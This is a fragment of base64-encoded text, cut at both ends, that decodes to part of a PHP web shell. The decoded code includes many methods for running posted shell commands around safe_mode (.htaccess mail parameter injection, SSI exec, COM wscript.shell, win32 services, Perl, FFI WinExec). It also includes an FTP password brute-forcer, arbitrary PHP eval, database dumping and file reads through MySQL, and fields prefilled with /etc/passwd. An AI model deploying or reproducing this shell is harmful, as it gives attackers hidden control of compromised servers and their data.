kX2hpc3QgPSAnIiInOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOw0KICAgICAgICAkanNfY29tbWFuZF9oaXN0ID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7DQogICAgfQ0KICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIAkJfQ0KDQoNCgkJYnJlYWs7DQogIGNhc2UgJ3Rlc3QxMCc6DQogIEBlcnJvcl9sb2coJF9QT1NUWyd0ZXN0MTBfY29udGVudCddLCAzLCJwaHA6Ly8uLi8uLi8iLiRfUE9TVFsndGVzdDEwX2ZpbGUnXSk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTEnOg0KICBpZihmaWxlX2V4aXN0cygiLi9yZXN1bHQudHh0IikgJiYgZmlsZV9leGlzdHMoIi4vLmh0YWNjZXNzIikpDQogICB7DQogICBAdW5saW5rKCIuLy5odGFjY2VzcyIpOw0KICAgQHVubGluaygiLi9yZXN1bHQudHh0Iik7DQogICB9DQogICBpZiAoJGhhbmRsZSA9IEBmb3BlbigiLi8uaHRhY2Nlc3MiLCAndycpKSB7IEBmd3JpdGUoJGhhbmRsZSwgInBocF92YWx1ZSBtYWlsLmZvcmNlX2V4dHJhX3BhcmFtZXRlcnMgJy10ICYmICIuJF9QT1NUWyd0ZXN0MTFfY21kJ10uIiA+ICIuZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pLiIvcmVzdWx0LnR4dCciKTsgbWFpbCgiIiwgIiIsICIiKTsgfQ0KICAgLy93aGlsZSghZmlsZV9leGlzdHMoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pLiIvcmVzdWx0LnR4dCIpKSBzbGVlcCgxKTsNCiAgIGlmKCRsaW5lcykgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZSk7IH0NCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxMic6DQogIGlmICgkaGFuZGxlID0gQGZvcGVuKCIuLy5odGFjY2VzcyIsICd3JykpIHsgQGZ3cml0ZSgkaGFuZGxlLCAiQWRkVHlwZSB0ZXh0L2h0bWwgLnNodG1sXHJcbkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAuc2h0bWxcclxuT3B0aW9ucyArSW5jbHVkZXMiKTsgfQ0KICBpZiAoJGhhbmRsZSA9IEBmb3BlbigiLi9jbWRzc2kuc2h0bWwiLCAndycpKSB7IEBmd3JpdGUoJGhhbmRsZSwgJzwhLS0jZXhlYyBjbWQ9IicuJF9QT1NUWyd0ZXN0MTJfY21kJ10uJyItLT4nKTsgfQ0KICBAaW5jbHVkZSgiaHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLnJ0cmltKGRpcm5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pLCcvXFwnKS4iL2NtZHNzaS5zaHRtbCIpOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDEzJzoNCiAgJHRtcCA9ICcnOw0KICBpZihAaXNfd3JpdGFibGUoJF9FTlZbJ1RNUCddKSkgJHRtcD0kX0VOVlsnVE1QJ107DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykpKSAkdG1wPWluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJyk7DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJykpKSAkdG1wPWluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJyk7DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGRpcm5hbWUoX19GSUxFX18pKSkgJHRtcD1kaXJuYW1lKF9fRklMRV9fKTsNCiAgZWxzZSBicmVhazsNCiAgQHVubGluaygkdG1wLicvcmVzdWx0X3Rlc3QxMy50eHQnKTsNCiAgJHdzY3JpcHQgPSBuZXcgQ09NKCd3c2NyaXB0LnNoZWxsJyk7DQogICR3c2NyaXB0LT5SdW4oJ2NtZC5leGUgL2MgIicuJF9QT1NUWyd0ZXN0MTNfY21kJ10uJyIgPiAnLiR0bXAuJy9yZXN1bHRfdGVzdDEzLnR4dCcpOw0KICB3aGlsZSghZmlsZV9leGlzdHMoJHRtcC4nL3Jlc3VsdF90ZXN0MTMudHh0JykpIHNsZWVwKDEpOw0KICAkbGluZXMgPSBAZmlsZSAoJHRtcC4nL3Jlc3VsdF90ZXN0MTMudHh0Jyk7DQogIGlmKCRsaW5lcykgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZSk7IH0NCiAgQHVubGluaygkdG1wLicvcmVzdWx0X3Rlc3QxMy50eHQnKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxNCc6DQogICRpb25jdWJlID0gQGlvbmN1YmVfcmVhZF9maWxlKCRfUE9TVFsndGVzdDE0X2NtZCddKTsNCiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpb25jdWJlKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxNSc6DQogICR0bXAgPSAnJzsNCiAgaWYoQGlzX3dyaXRhYmxlKCRfRU5WWydUTVAnXSkpICR0bXA9JF9FTlZbJ1RNUCddOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpKSkgJHRtcD1pbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShpbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpKSkgJHRtcD1pbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpOw0KICBlbHNlaWYoQGlzX3dyaXRlYWJsZShkaXJuYW1lKF9fRklMRV9fKSkpICR0bXA9ZGlybmFtZShfX0ZJTEVfXyk7DQogIGVsc2UgYnJlYWs7DQogIEB1bmxpbmsoJHRtcC4nL3Jlc3VsdF90ZXN0MTUudHh0Jyk7DQogIEB3aW5fc2hlbGxfZXhlY3V0ZSgiY21kLmV4ZSIsIiIsIi9jICIuJF9QT1NUWyd0ZXN0MTVfY21kJ10uIiA+ICIuJHRtcC4iL3Jlc3VsdF90ZXN0MTUudHh0Iik7DQogIHdoaWxlKCFmaWxlX2V4aXN0cygkdG1wLicvcmVzdWx0X3Rlc3QxNS50eHQnKSkgc2xlZXAoMSk7DQogICRsaW5lcyA9IEBmaWxlICgkdG1wLicvcmVzdWx0X3Rlc3QxNS50eHQnKTsNCiAgaWYoJGxpbmVzKSBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRsaW5lKTsgfQ0KICBAdW5saW5rKCR0bXAuJy9yZXN1bHRfdGVzdDE1LnR4dCcpOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDE2JzoNCiAgJHRtcCA9ICcnOw0KICBpZihAaXNfd3JpdGFibGUoJF9FTlZbJ1RNUCddKSkgJHRtcD0kX0VOVlsnVE1QJ107DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykpKSAkdG1wPWluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJyk7DQogIGlmKEBpc193cml0ZWFibGUoaW5pX2dldCgndXBsb2FkX3RtcF9kaXInKSkpICR0bXA9aW5pX2dldCgndXBsb2FkX3RtcF9kaXInKTsNCiAgZWxzZWlmKEBpc193cml0ZWFibGUoZGlybmFtZShfX0ZJTEVfXykpKSAkdG1wPWRpcm5hbWUoX19GSUxFX18pOw0KICBlbHNlIGJyZWFrOw0KICAkbmFtZT0kdG1wLiJcXCIudW5pcWlkKCk7DQogICRuPXVuaXFpZCgpOw0KICAkY21kPShlbXB0eSgkX1NFUlZFUlsnQ09NU1BFQyddKSk/J2M6XFx3aW5kb3dzXFxzeXN0ZW0zMlxcY21kLmV4ZSc6JF9TRVJWRVJbJ0NPTVNQRUMnXTsNCiAgd2luMzJfY3JlYXRlX3NlcnZpY2UoYXJyYXkoJ3NlcnZpY2UnPT4kbiwnZGlzcGxheSc9PiRuLCdwYXRoJz0+JGNtZCwncGFyYW1zJz0+Ii9jICIuJF9QT1NUWyd0ZXN0MTZfY21kJ10uIiA+XCIkbmFtZVwiIikpOw0KICB3aW4zMl9zdGFydF9zZXJ2aWNlKCRuKTsNCiAgd2luMzJfc3RvcF9zZXJ2aWNlKCRuKTsNCiAgd2luMzJfZGVsZXRlX3NlcnZpY2UoJG4pOw0KICB3aGlsZSghZmlsZV9leGlzdHMoJG5hbWUpKSBzbGVlcCgxKTsNCiAgJGV4ZWM9ZmlsZV9nZXRfY29udGVudHMoJG5hbWUpOw0KICB1bmxpbmsoJG5hbWUpOw0KICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGV4ZWMpOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDE3JzoNCiAgJF9QT1NUWyd0ZXN0MTdfY21kJ10gPSBzdHJfcmVwbGFjZSgnXFwnLCdcXFxcJywkX1BPU1RbJ3Rlc3QxN19jbWQnXSk7DQogICRwZXJsID0gbmV3IFBlcmwoKTsNCiAgJHBlcmwtPmV2YWwoJ3ByaW50IGAnLiRfUE9TVFsndGVzdDE3X2NtZCddLidgJyk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTgnOg0KICBpZihAaXNfd3JpdGFibGUoJF9FTlZbJ1RNUCddKSkgJHRtcD0kX0VOVlsnVE1QJ107DQogIGVsc2VpZihAaXNfd3JpdGVhYmxlKGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykpKSAkdG1wPWluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJyk7DQogIGlmKEBpc193cml0ZWFibGUoaW5pX2dldCgndXBsb2FkX3RtcF9kaXInKSkpICR0bXA9aW5pX2dldCgndXBsb2FkX3RtcF9kaXInKTsNCiAgZWxzZWlmKEBpc193cml0ZWFibGUoZGlybmFtZShfX0ZJTEVfXykpKSAkdG1wPWRpcm5hbWUoX19GSUxFX18pOw0KICBlbHNlIGJyZWFrOw0KICAkbmFtZT0kdG1wLiJcXCIudW5pcWlkKCk7DQogICRhcGk9bmV3IGZmaSgiW2xpYj0na2VybmVsMzIuZGxsJ10gaW50IFdpbkV4ZWMoY2hhciAqQVBQLGludCBTVyk7Iik7DQogICRyZXM9JGFwaS0+V2luRXhlYygiY21kLmV4ZSAvYyAiLiRfUE9TVFsndGVzdDE4X2NtZCddLiIgPlwiJG5hbWVcIiIsMCk7DQogIHdoaWxlKCFmaWxlX2V4aXN0cygkbmFtZSkpIHNsZWVwKDEpOw0KICAkZXhlYz1maWxlX2dldF9jb250ZW50cygkbmFtZSk7DQogIHVubGluaygkbmFtZSk7DQogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZXhlYyk7DQogIGJyZWFrOw0KIH0NCn0NCmVsc2UgaWYoKCRfUE9TVFsnY21kJ10hPSJwaHBfZXZhbCIpJiYoJF9QT1NUWydjbWQnXSE9Im15c3FsX2R1bXAiKSYmKCRfUE9TVFsnY21kJ10hPSJkYl9xdWVyeSIpJiYoJF9QT1NUWydjbWQnXSE9ImZ0cF9icnV0ZSIpKXsNCiAkY21kX3JlcCA9IGV4KCRfUE9TVFsnY21kJ10pOw0KIGlmKCEkdW5peCkgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKEBjb252ZXJ0X2N5cl9zdHJpbmcoJGNtZF9yZXAsJ2QnLCd3JykpLiJcbiI7IH0NCiBlbHNlIHsgZWNobyBAaHRtbHNwZWNpYWxjaGFycygkY21kX3JlcCkuIlxuIjsgfX0NCmlmICgkX1BPU1RbJ2NtZCddPT0iQWx1Y2FyX215c3FsIikNCiB7DQogIGlmKGVtcHR5KCRfUE9TVFsndGVzdDNfc3InXSkpIHsgJF9QT1NUWyd0ZXN0M19zciddID0gImxvY2FsaG9zdCI7IH0NCiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0M19wb3J0J10pKSB7ICRfUE9TVFsndGVzdDNfcG9ydCddID0gIjMzMDYiOyB9DQogICRkYiA9IEBteXNxbF9jb25uZWN0KCRfUE9TVFsndGVzdDNfc3InXS4nOicuJF9QT1NUWyd0ZXN0M19wb3J0J10sJF9QT1NUWyd0ZXN0M19tbCddLCRfUE9TVFsndGVzdDNfbXAnXSk7DQogIGlmKCRkYikNCiAgIHsNCiAgIGlmKEBteXNxbF9zZWxlY3RfZGIoJF9QT1NUWyd0ZXN0M19tZCddLCRkYikpDQogICAgew0KICAgICBAbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIEFsdWNhciIpOw0KICAgICBAbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgQWx1Y2FyYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApIik7DQogICAgIEBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSBcIiIuc3RyX3JlcGxhY2UoJ1xcJywnLycsJF9QT1NUWyd0ZXN0M19maWxlJ10pLiJcIiBJTlRPIFRBQkxFIEFsdWNhciBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkgJ1xuJyIpOw0KICAgICAkciA9IEBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBBbHVjYXIiKTsNCiAgICAgd2hpbGUoKCRyX3NxbCA9IEBteXNxbF9mZXRjaF9hcnJheSgkcikpKSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJHJfc3FsWzBdKTsgfQ0KICAgICBAbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIEFsdWNhciIpOw0KICAgIH0NCiAgICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsNCiAgIEBteXNxbF9jbG9zZSgkZGIpOw0KICAgfQ0KICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBteXNxbCBzZXJ2ZXIiOw0KIH0NCmlmICgkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIikNCiB7DQogJHN1YyA9IDA7DQogZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpDQogIHsNCiAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCiAgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlciwkdXNlcikpIHsgZWNobyAiWytdICR1c2VyOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0NCiAgZWxzZSBpZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkpIHsgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlcixzdHJyZXYoJHVzZXIpKSkgeyBlY2hvICJbK10gJHVzZXI6Ii5zdHJyZXYoJHVzZXIpLiIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfSB9DQogIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KICB9DQogZWNobyAiXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuIjsNCiAkY291bnQgPSBjb3VudCgkdXNlcnMpOw0KIGlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSkgeyAkY291bnQgKj0gMjsgfQ0KIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk3J10uJGNvdW50LiJcclxuIjsNCiBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OCddLiRzdWMuIlxyXG4iOw0KIH0NCmlmICgkX1BPU1RbJ2NtZCddPT0icGhwX2V2YWwiKXsNCiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPD8iLCIiLCRfUE9TVFsncGhwX2V2YWwnXSk7DQogJGV2YWwgPSBAc3RyX3JlcGxhY2UoIj8+IiwiIiwkZXZhbCk7DQogQGV2YWwoJGV2YWwpO30NCmlmICgkX1BPU1RbJ2NtZCddPT0ibXlzcWxfZHVtcCIpDQogew0KICBpZihpc3NldCgkX1BPU1RbJ2RpZiddKSkgeyAkZnAgPSBAZm9wZW4oJF9QT1NUWydkaWZfbmFtZSddLCAidyIpOyB9DQogICRzcWwgPSBuZXcgbXlfc3FsKCk7DQogICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107DQogICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOw0KICAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQogICRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsNCiAgJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0KICAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOw0KICBpZighJHNxbC0+Y29ubmVjdCgpKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBTUUwgc2VydmVyIjsgfQ0KICBlbHNlIGlmKCEkc3FsLT5zZWxlY3RfZGIoKSkgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7IH0NCiAgZWxzZSBpZighJHNxbC0+ZHVtcCgkX1BPU1RbJ215c3FsX3RibCddKSkgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IGNyZWF0ZSBkdW1wIjsgfQ0KICBlbHNlIHsNCiAgIGlmKGVtcHR5KCRfUE9TVFsnZGlmJ10pKSB7IGZvcmVhY2goJHNxbC0+ZHVtcCBhcyAkdikgZWNobyAkdi4iXHJcbiI7IH0NCiAgIGVsc2UgaWYoJGZwKXsgZm9yZWFjaCgkc3FsLT5kdW1wIGFzICR2KSBAZnB1dHMoJGZwLCR2LiJcclxuIik7IH0NCiAgIGVsc2UgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IHdyaXRlIGluIGR1bXAgZmlsZSI7IH0NCiAgIH0NCiB9DQplY2hvICI8L3RleHRhcmVhPjwvZGl2PiI7DQplY2hvICI8L2I+IjsNCmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQplY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+IjsNCmZ1bmN0aW9uIGRpdl90aXRsZSgkdGl0bGUsICRpZCkNCnsNCiAgcmV0dXJuICc8YSBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgb25DbGljaz0iY2hhbmdlX2RpdnN0KFwnJy4kaWQuJ1wnKTsiPicuJHRpdGxlLic8L2E+JzsNCn0NCmZ1bmN0aW9uIGRpdigkaWQpDQogew0KIGlmKGlzc2V0KCRfQ09PS0lFWyRpZF0pICYmICRfQ09PS0lFWyRpZF09PTApIHJldHVybiAnPGRpdiBpZD0iJy4kaWQuJyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4nOw0KIHJldHVybiAnPGRpdiBpZD0iJy4kaWQuJyI+JzsNCiB9DQppZighJHNhZmVfbW9kZSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MiddLCdpZDEnKS4kdGFibGVfdXAyLmRpdignaWQxJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdjbWQnLDg1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsODUsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQplbHNlew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI4J10sJ2lkMicpLiR0YWJsZV91cDIuZGl2KCdpZDInKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2FmZV9kaXInKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ2J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwOCddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1cIm1ldGhvZFwiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJzeXN0ZW1cIiA8PyBpZiAoJG1ldGhvZD09XCJzeXN0ZW1cIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PnN5c3RlbTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJwYXNzdGhydVwiIDw/IGlmICgkbWV0aG9kPT1cInBhc3N0aHJ1XCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5wYXNzdGhydTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJleGVjXCIgPD8gaWYgKCRtZXRob2Q9PVwiZXhlY1wiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+ZXhlYzwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJzaGVsbF9leGVjXCIgPD8gaWYgKCRtZXRob2Q9PVwic2hlbGxfZXhlY1wiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+c2hlbGxfZXhlYzwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJwb3BlblwiIDw/IGlmICgkbWV0aG9kPT1cInBvcGVuXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5wb3Blbjwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJwcm9jX29wZW5cIiA8PyBpZiAoJG1ldGhvZD09XCJwcm9jX29wZW5cIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PnByb2Nfb3Blbjwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdjb21tYW5kJyw1NCwoIWVtcHR5KCRfUE9TVFsnY29tbWFuZCddKT8oJF9QT1NUWydjb21tYW5kJ10pOigiaWQiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2NvbW1hbmQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KDQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDMnXSwnaWQ0MTEnKS4kdGFibGVfdXAyLmRpdignaWQ0MTEnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaW5pX3Jlc3RvcmUnLDg1LCcvZXRjL3Bhc3N3ZCcpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2luaV9yZXN0b3JlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMjQnXSwnaWQ1MTEnKS4kdGFibGVfdXAyLmRpdignaWQ1MTEnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDInXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInBsdWdpblwiPjxvcHRpb24gdmFsdWU9XCJwbHVnaW5cIj4vZXRjL3Bhc3N3ZDwvb3B0aW9uPjwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwncGx1Z2luJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MiddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZV9uYW1lJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdlZGl0X2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDExJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA0J10sJ2lkMjA0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjA0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjI2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMF9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEwX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDEwX2ZpbGUnXSk6KCcuLi8uLi9maWxlLnBocCcpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTAnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMjcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDEwX2NvbnRlbnQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTBfY29udGVudCddKT8oJF9QT1NUWyd0ZXN0MTBfY29udGVudCddKTooJzw/IGVjaG8gXCdnb3RjaGFcJzsgPz4nKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgDQp9DQoNCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjI1J10sJ2lkMjI1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjI1JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTFfY21kJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDExX2NtZCddKT8oJF9QT1NUWyd0ZXN0MTFfY21kJ10pOignbHMgLWxhJykpKS53cyg0KS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxMScpLmluKCdzdWJtaXQn